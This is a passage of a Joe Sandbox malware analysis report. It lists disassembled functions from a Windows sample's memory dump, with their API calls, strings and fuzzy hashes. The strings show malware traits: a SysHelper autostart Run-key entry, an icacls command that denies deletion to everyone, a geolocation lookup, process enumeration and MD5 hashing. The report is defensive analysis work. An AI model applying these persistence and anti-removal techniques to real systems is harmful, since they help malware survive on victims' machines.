" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
SysHelper, xrefs: 00411D5B, 004120EB
icacls ", xrefs: 0041214C
Shell32.dll, xrefs: 00411E94
D, xrefs: 00412128
" --AutoStart, xrefs: 004120C2
SHGetFolderPathW, xrefs: 00411E9F

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

kernel32.dll, xrefs: 0041224E
EnumProcessModules, xrefs: 0041226C, 004122A1
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcesses, xrefs: 00412264, 00412299
Psapi.dll, xrefs: 0041228C

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1
Microsoft Internet Explorer, xrefs: 0040CF5A

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Function 004240F6 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsetenvp.LIBCMT ref: 0042404A
__amsg_exit.LIBCMT ref: 00424055
__cinit.LIBCMT ref: 0042405D
__amsg_exit.LIBCMT ref: 00424068
__wwincmdln.LIBCMT ref: 0042406E

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__cinit__wsetenvp__wwincmdln_doexit
String ID:
API String ID: 2587630013-0
Opcode ID: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction ID: 7082b750ddc29103f3c984cb6fc30cb2f1280ee8f42cb5262a6b676f22e3f134
Opcode Fuzzy Hash: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction Fuzzy Hash: F6F0F460709331A9DA3173B37A12B5F1654DF81768FE0054FF600A61C3DE9C8981856E

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Non-executed Functions

Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
GetTickCount.KERNEL32 ref: 00481F03
GetTickCount.KERNEL32 ref: 00481FF1
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

CryptAcquireContextW, xrefs: 00481AD5
Process32Next, xrefs: 00481DED
Thread32First, xrefs: 00481E00
GetForegroundWindow, xrefs: 00481C4A
GetQueueStatus, xrefs: 00481C6B
Heap32Next, xrefs: 00481DA1
USER32.DLL, xrefs: 00481C31
NETAPI32.DLL, xrefs: 004819A9
ADVAPI32.DLL, xrefs: 00481989
CryptReleaseContext, xrefs: 00481AF6
Heap32First, xrefs: 00481D8E
Module32Next, xrefs: 00481E39
Module32First, xrefs: 00481E26
Thread32Next, xrefs: 00481E13
LanmanServer, xrefs: 00481A74
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
Heap32ListFirst, xrefs: 00481DB4
LanmanWorkstation, xrefs: 00481A26
$, xrefs: 00481F7E
Process32First, xrefs: 00481DDA
NetApiBufferFree, xrefs: 004819F0
Heap32ListNext, xrefs: 00481DC7
CryptGenRandom, xrefs: 00481AE3
NetStatisticsGet, xrefs: 004819E2
CreateToolhelp32Snapshot, xrefs: 00481D67
CloseToolhelp32Snapshot, xrefs: 00481D7B
KERNEL32.DLL, xrefs: 0048199C
GetCursorInfo, xrefs: 00481C58

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
